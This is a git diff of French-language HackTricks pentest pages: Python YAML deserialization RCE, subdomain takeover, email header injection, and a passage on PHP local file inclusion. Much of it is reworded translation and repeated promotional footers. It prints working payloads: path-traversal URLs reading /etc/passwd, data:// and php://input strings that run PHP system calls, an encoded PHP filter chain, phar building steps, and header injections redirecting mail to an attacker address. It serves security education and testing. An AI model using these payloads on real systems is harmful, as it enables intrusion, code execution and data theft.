* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Yaml **Désérialisation**
|
||||
# **Désérialisation** Yaml
|
||||
|
||||
Les bibliothèques python **Yaml** sont également capables de **sérialiser des objets python** et non seulement des données brutes:
|
||||
```
|
||||
|
@ -96,7 +96,7 @@ Notez que dans les **versions récentes**, vous ne pouvez plus appeler `.load()`
|
|||
|
||||
# RCE
|
||||
|
||||
Des charges utiles personnalisées peuvent être créées en utilisant des modules YAML Python tels que **PyYAML** ou **ruamel.yaml**. Ces charges utiles peuvent exploiter des vulnérabilités dans les systèmes qui désérialisent des entrées non fiables sans une sanitisation appropriée.
|
||||
Des charges utiles personnalisées peuvent être créées en utilisant des modules YAML Python tels que **PyYAML** ou **ruamel.yaml**. Ces charges utiles peuvent exploiter des vulnérabilités dans les systèmes qui désérialisent des entrées non fiables sans une désinfection appropriée.
|
||||
```python
|
||||
import yaml
|
||||
from yaml import UnsafeLoader, FullLoader, Loader
|
||||
|
@ -118,7 +118,7 @@ print(yaml.unsafe_load(deserialized_data))
|
|||
```
|
||||
## Outil pour créer des charges utiles
|
||||
|
||||
L'outil [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) peut être utilisé pour générer des charges utiles de désérialisation Python afin d'abuser de **Pickle, PyYAML, jsonpickle et ruamel.yaml:**
|
||||
L'outil [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) peut être utilisé pour générer des charges utiles de désérialisation Python pour abuser de **Pickle, PyYAML, jsonpickle et ruamel.yaml:**
|
||||
```bash
|
||||
python3 peas.py
|
||||
Enter RCE command :cat /root/flag.txt
|
||||
|
@ -154,8 +154,8 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
@ -17,14 +17,14 @@ Autres façons de soutenir HackTricks :
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Prise de contrôle de domaine
|
||||
|
||||
Si vous découvrez un domaine (domaine.tld) qui est **utilisé par un service dans le périmètre** mais que **l'entreprise** en a **perdu la propriété**, vous pouvez essayer de **l'enregistrer** (si le prix est abordable) et informer l'entreprise. Si ce domaine reçoit des **informations sensibles** comme un cookie de session via un paramètre **GET** ou dans l'en-tête **Referer**, il s'agit certainement d'une **vulnérabilité**.
|
||||
Si vous découvrez un domaine (domaine.tld) qui est **utilisé par un service dans le périmètre** mais que **l'entreprise** en a **perdu la propriété**, vous pouvez essayer de **l'enregistrer** (si le prix est abordable) et informer l'entreprise. Si ce domaine reçoit des **informations sensibles** telles qu'un cookie de session via un paramètre **GET** ou dans l'en-tête **Referer**, il s'agit certainement d'une **vulnérabilité**.
|
||||
|
||||
### Prise de contrôle de sous-domaine
|
||||
|
||||
|
@ -56,7 +56,7 @@ Lorsqu'un wildcard DNS est utilisé dans un domaine, tout sous-domaine demandé
|
|||
|
||||
Par exemple, si `*.testing.com` est wildcardé vers `1.1.1.1`. Alors, `not-existent.testing.com` pointera vers `1.1.1.1`.
|
||||
|
||||
Cependant, si au lieu de pointer vers une adresse IP, l'administrateur système le pointe vers un **service tiers via CNAME**, comme un **sous-domaine github** par exemple (`sohomdatta1.github.io`). Un attaquant pourrait **créer sa propre page tierce** (dans ce cas-ci, sur Github) et dire que `something.testing.com` pointe là-bas. Parce que le **wildcard CNAME** le permettra, l'attaquant pourra **générer des sous-domaines arbitraires pour le domaine de la victime pointant vers ses pages**.
|
||||
Cependant, si au lieu de pointer vers une adresse IP, l'administrateur système le pointe vers un **service tiers via CNAME**, comme un **sous-domaine github** par exemple (`sohomdatta1.github.io`). Un attaquant pourrait **créer sa propre page tierce** (dans ce cas-ci, sur Github) et dire que `something.testing.com` pointe là-bas. Parce que le **wildcard CNAME** acceptera, l'attaquant pourra **générer des sous-domaines arbitraires pour le domaine de la victime pointant vers ses pages**.
|
||||
|
||||
Vous pouvez trouver un exemple de cette vulnérabilité dans le write-up CTF : [https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/undocumented-js-api)
|
||||
|
||||
|
@ -79,10 +79,10 @@ Un autre aspect de la prise de contrôle de sous-domaine concerne les services e
|
|||
D'autres risques incluent la **prise de contrôle des enregistrements NS**. Si un attaquant prend le contrôle d'un enregistrement NS d'un domaine, il peut potentiellement diriger une partie du trafic vers un serveur sous son contrôle. Ce risque est amplifié si l'attaquant définit un **TTL (Time to Live)** élevé pour les enregistrements DNS, prolongeant la durée de l'attaque.
|
||||
|
||||
### Vulnérabilité de l'enregistrement CNAME
|
||||
Les attaquants peuvent exploiter des enregistrements CNAME non réclamés pointant vers des services externes qui ne sont plus utilisés ou ont été désactivés. Cela leur permet de créer une page sous le domaine de confiance, facilitant davantage le phishing ou la distribution de logiciels malveillants.
|
||||
Les attaquants pourraient exploiter des enregistrements CNAME non réclamés pointant vers des services externes qui ne sont plus utilisés ou ont été mis hors service. Cela leur permet de créer une page sous le domaine de confiance, facilitant davantage le phishing ou la distribution de logiciels malveillants.
|
||||
|
||||
### **Stratégies d'atténuation**
|
||||
Les stratégies d'atténuation incluent :
|
||||
Les stratégies d'atténuation comprennent :
|
||||
1. **Supprimer les enregistrements DNS vulnérables** - C'est efficace si le sous-domaine n'est plus nécessaire.
|
||||
2. **Réclamer le nom de domaine** - Enregistrer la ressource auprès du fournisseur cloud respectif ou racheter un domaine expiré.
|
||||
3. **Surveillance régulière des vulnérabilités** - Des outils comme [aquatone](https://github.com/michenriksen/aquatone) peuvent aider à identifier les domaines susceptibles. Les organisations devraient également réviser leurs processus de gestion de l'infrastructure, en s'assurant que la création d'enregistrements DNS est la dernière étape dans la création de ressources et la première étape dans la destruction de ressources.
|
||||
|
@ -109,7 +109,7 @@ D'autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**dépôts GitHub HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,8 +17,8 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -28,6 +28,8 @@ Autres façons de soutenir HackTricks :
|
|||
```
|
||||
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
|
||||
```
|
||||
Le message sera envoyé aux comptes destinataire et destinataire1.
|
||||
|
||||
### Injecter l'argument
|
||||
```
|
||||
From:sender@domain.com%0ATo:attacker@domain.com
|
||||
|
@ -40,7 +42,7 @@ From:sender@domain.com%0ASubject:This is%20Fake%20Subject
|
|||
```
|
||||
### Changer le corps du message
|
||||
|
||||
Injectez deux sauts de ligne, puis écrivez votre message pour changer le corps du message.
|
||||
Injectez un saut de ligne à deux lignes, puis écrivez votre message pour changer le corps du message.
|
||||
```
|
||||
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
|
||||
```
|
||||
|
@ -64,7 +66,7 @@ Parameter #4 [ <optional> $additional_parameters ]
|
|||
|
||||
Cette section va se baser sur **comment abuser de ce paramètre en supposant qu'un attaquant le contrôle**.
|
||||
|
||||
Ce paramètre va être ajouté à la ligne de commande que PHP va utiliser pour invoquer le binaire sendmail. Cependant, il sera nettoyé avec la fonction `escapeshellcmd($additional_parameters)`.
|
||||
Ce paramètre va être ajouté à la ligne de commande que PHP va utiliser pour invoquer le binaire sendmail. Cependant, il sera désinfecté avec la fonction `escapeshellcmd($additional_parameters)`.
|
||||
|
||||
Un attaquant peut **injecter des paramètres supplémentaires pour sendmail** dans ce cas.
|
||||
|
||||
|
@ -78,13 +80,13 @@ Voici quelques exemples de différentes pages de manuel de la commande/interface
|
|||
* Postfix MTA : http://www.postfix.org/mailq.1.html
|
||||
* Exim MTA : https://linux.die.net/man/8/eximReferences
|
||||
|
||||
Selon l'**origine du binaire sendmail**, différentes options ont été découvertes pour les abuser et **exfiltrer des fichiers ou même exécuter des commandes arbitraires**. Découvrez comment sur [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
Selon l'**origine du binaire sendmail**, différentes options ont été découvertes pour les abuser et **exfiltrer des fichiers ou même exécuter des commandes arbitraires**. Vérifiez comment sur [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
|
||||
|
||||
## Injection dans le nom de l'e-mail
|
||||
|
||||
### Parties ignorées d'un e-mail
|
||||
|
||||
Les symboles : **+, -** et **{}** dans de rares occasions peuvent être utilisés pour le marquage et ignorés par la plupart des serveurs de messagerie
|
||||
Les symboles : **+, -** et **{}** dans de rares occasions peuvent être utilisés pour marquer et être ignorés par la plupart des serveurs de messagerie
|
||||
|
||||
* Par exemple, john.doe+intigriti@example.com → john.doe@example.com
|
||||
|
||||
|
@ -100,9 +102,9 @@ Les **commentaires entre parenthèses ()** au début ou à la fin seront égalem
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (6) (4).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
### Adresses IP
|
||||
### IPs
|
||||
|
||||
Vous pouvez également utiliser des adresses IP comme nom de domaine entre crochets :
|
||||
Vous pouvez également utiliser des IPs comme nom de domaine entre crochets :
|
||||
|
||||
* john.doe@\[127.0.0.1]
|
||||
* john.doe@\[IPv6:2001:db8::1]
|
||||
|
@ -115,20 +117,20 @@ Vous pouvez également utiliser des adresses IP comme nom de domaine entre croch
|
|||
|
||||
### XSS
|
||||
|
||||
Certains services comme **github** ou **salesforce permettent** de créer une **adresse e-mail avec des charges XSS**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services ne **nettoient pas correctement** l'e-mail, vous pourriez causer une **XSS**.
|
||||
Certains services comme **github** ou **salesforce permettent** de créer une **adresse e-mail avec des charges XSS**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services ne **désinfectent pas correctement** l'e-mail, vous pourriez causer **XSS**.
|
||||
|
||||
### Prise de contrôle de compte
|
||||
|
||||
Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse e-mail fournie** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un autre service** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
|
||||
Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse e-mail fournie** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un service différent** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
|
||||
_Notez que salesforce indique si l'e-mail fourni a été vérifié ou non, donc l'application devrait prendre en compte cette information._
|
||||
|
||||
## Répondre à
|
||||
|
||||
Vous pouvez envoyer un e-mail en utilisant _**De : entreprise.com**_ et _**Répondre à : attaquant.com**_ et si une **réponse automatique** est envoyée parce que l'e-mail a été envoyé **depuis** une **adresse interne**, l'**attaquant** pourrait être en mesure de **recevoir** cette **réponse**.
|
||||
Vous pouvez envoyer un e-mail en utilisant _**De : entreprise.com**_ et _**Répondre à : attaquant.com**_ et si une **réponse automatique** est envoyée car l'e-mail a été envoyé **depuis** une **adresse interne**, l'**attaquant** pourrait être en mesure de **recevoir** cette **réponse**.
|
||||
|
||||
## Taux de rebond dur
|
||||
|
||||
Certains services, comme AWS, mettent en place un seuil connu sous le nom de **Taux de rebond dur**, généralement fixé à 10%. Il s'agit d'une métrique critique, notamment pour les services de livraison d'e-mails. Lorsque ce taux est dépassé, le service, tel que le service e-mail d'AWS, peut être suspendu ou bloqué.
|
||||
Certains services, comme AWS, mettent en place un seuil connu sous le nom de **Taux de Rebond Dur**, généralement fixé à 10%. Il s'agit d'une métrique critique, notamment pour les services de livraison d'e-mails. Lorsque ce taux est dépassé, le service, tel que le service e-mail d'AWS, peut être suspendu ou bloqué.
|
||||
|
||||
Un **rebond dur** fait référence à un **e-mail** qui a été renvoyé à l'expéditeur car l'adresse du destinataire est invalide ou n'existe pas. Cela pourrait se produire pour diverses raisons, telles que l'envoi de l'e-mail à une adresse inexistante, un domaine qui n'est pas réel, ou le refus du serveur du destinataire d'accepter des **e-mails**.
|
||||
|
||||
|
@ -154,7 +156,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe telegram](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,7 +22,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb
|
|||
Engagez-vous avec du contenu qui explore le frisson et les défis du piratage
|
||||
|
||||
**Actualités de piratage en temps réel**\
|
||||
Restez informé du monde du piratage rapide grâce aux actualités et aux informations en temps réel
|
||||
Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel
|
||||
|
||||
**Dernières annonces**\
|
||||
Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme
|
||||
|
@ -92,7 +92,7 @@ Cela est **résolu depuis PHP 5.4**
|
|||
|
||||
### **Encodage**
|
||||
|
||||
Vous pourriez utiliser des encodages non standard comme le double encodage d'URL (et d'autres) :
|
||||
Vous pourriez utiliser des encodages non standards comme l'encodage d'URL double (et d'autres) :
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
|
@ -109,7 +109,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
|||
|
||||
Le système de fichiers d'un serveur peut être exploré de manière récursive pour identifier les répertoires, pas seulement les fichiers, en utilisant certaines techniques. Ce processus implique de déterminer la profondeur du répertoire et de sonder l'existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :
|
||||
|
||||
1. **Déterminer la profondeur du répertoire :**
|
||||
1. **Déterminer la Profondeur du Répertoire :**
|
||||
Déterminez la profondeur de votre répertoire actuel en récupérant avec succès le fichier `/etc/passwd` (applicable si le serveur est basé sur Linux). Un exemple d'URL pourrait être structuré comme suit, indiquant une profondeur de trois :
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
|
@ -157,12 +157,12 @@ Dans ces scénarios, le nombre de traversées nécessaires peut être d'environ
|
|||
Les séquences de traversée (`../`) combinées avec des segments de points supplémentaires et des caractères peuvent être utilisées pour naviguer dans le système de fichiers, en ignorant efficacement les chaînes ajoutées par le serveur.
|
||||
|
||||
- **Détermination du nombre de traversées requis**:
|
||||
Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour naviguer vers le répertoire racine, puis vers `/etc/passwd`, en veillant à neutraliser les chaînes ajoutées (comme `.php`) tout en conservant le chemin souhaité (`/etc/passwd`).
|
||||
Par essais et erreurs, on peut trouver le nombre précis de séquences `../` nécessaires pour naviguer vers le répertoire racine, puis vers `/etc/passwd`, en veillant à neutraliser toutes les chaînes ajoutées (comme `.php`) mais en conservant le chemin souhaité (`/etc/passwd`).
|
||||
|
||||
- **Commencer par un répertoire fictif**:
|
||||
Il est courant de commencer le chemin par un répertoire inexistant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse des chemins du serveur.
|
||||
Il est courant de commencer le chemin par un répertoire inexistant (comme `a/`). Cette technique est utilisée comme mesure de précaution ou pour répondre aux exigences de la logique d'analyse de chemin du serveur.
|
||||
|
||||
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
|
||||
Lors de l'utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d'analyse de chemin du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.
|
||||
|
||||
**Cette vulnérabilité a été corrigée dans PHP 5.3.**
|
||||
|
||||
|
@ -190,7 +190,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Dans le code précédent, le `+.txt` final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine avec cela et après le décodage b64, cette partie ne renverra que des déchets et le vrai code PHP sera inclus (et donc, exécuté).
|
||||
Dans le code précédent, le `+.txt` final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine avec cela et après le décodage b64, cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc, exécuté).
|
||||
{% endhint %}
|
||||
|
||||
Un autre exemple **ne utilisant pas le protocole `php://`** serait:
|
||||
|
@ -269,7 +269,7 @@ Les filtres PHP permettent d'effectuer des opérations de **modification de base
|
|||
* `convert.iconv.*` : Transforme en une autre codification (`convert.iconv.<input_enc>.<output_enc>`). Pour obtenir la **liste de toutes les codifications** prises en charge, exécutez dans la console : `iconv -l`
|
||||
|
||||
{% hint style="warning" %}
|
||||
En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou pour rendre un processus d'inclusion de texte arbitraire. Pour plus d'informations, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
En abusant du filtre de conversion `convert.iconv.*`, vous pouvez **générer du texte arbitraire**, ce qui pourrait être utile pour écrire du texte arbitraire ou rendre un processus d'inclusion de fonction arbitraire. Pour plus d'informations, consultez [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
{% endhint %}
|
||||
|
||||
* [Filtres de compression](https://www.php.net/manual/en/filters.compression.php)
|
||||
|
@ -342,7 +342,7 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
### data://
|
||||
|
||||
La technique `data://` permet d'inclure des données directement dans une URL. Cela peut être utilisé pour exécuter du code malveillant en exploitant une vulnérabilité d'inclusion de fichier.
|
||||
La technique `data://` permet d'inclure des données directement dans une URL. Cela peut être utilisé pour exécuter des attaques d'inclusion de fichiers en injectant des données directement dans l'URL pour être interprétées par l'application cible.
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -369,7 +369,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||
```
|
||||
### phar://
|
||||
|
||||
Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous démontre la création d'un fichier `.phar`:
|
||||
Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP fourni ci-dessous démontre la création d'un fichier `.phar`:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
|
@ -382,13 +382,13 @@ Pour compiler le fichier `.phar`, la commande suivante doit être exécutée :
|
|||
```bash
|
||||
php --define phar.readonly=0 create_path.php
|
||||
```
|
||||
À l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité pour les vulnérabilités d'Inclusion de Fichier Local (LFI).
|
||||
Lors de l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité pour les vulnérabilités d'Inclusion de Fichier Local (LFI).
|
||||
|
||||
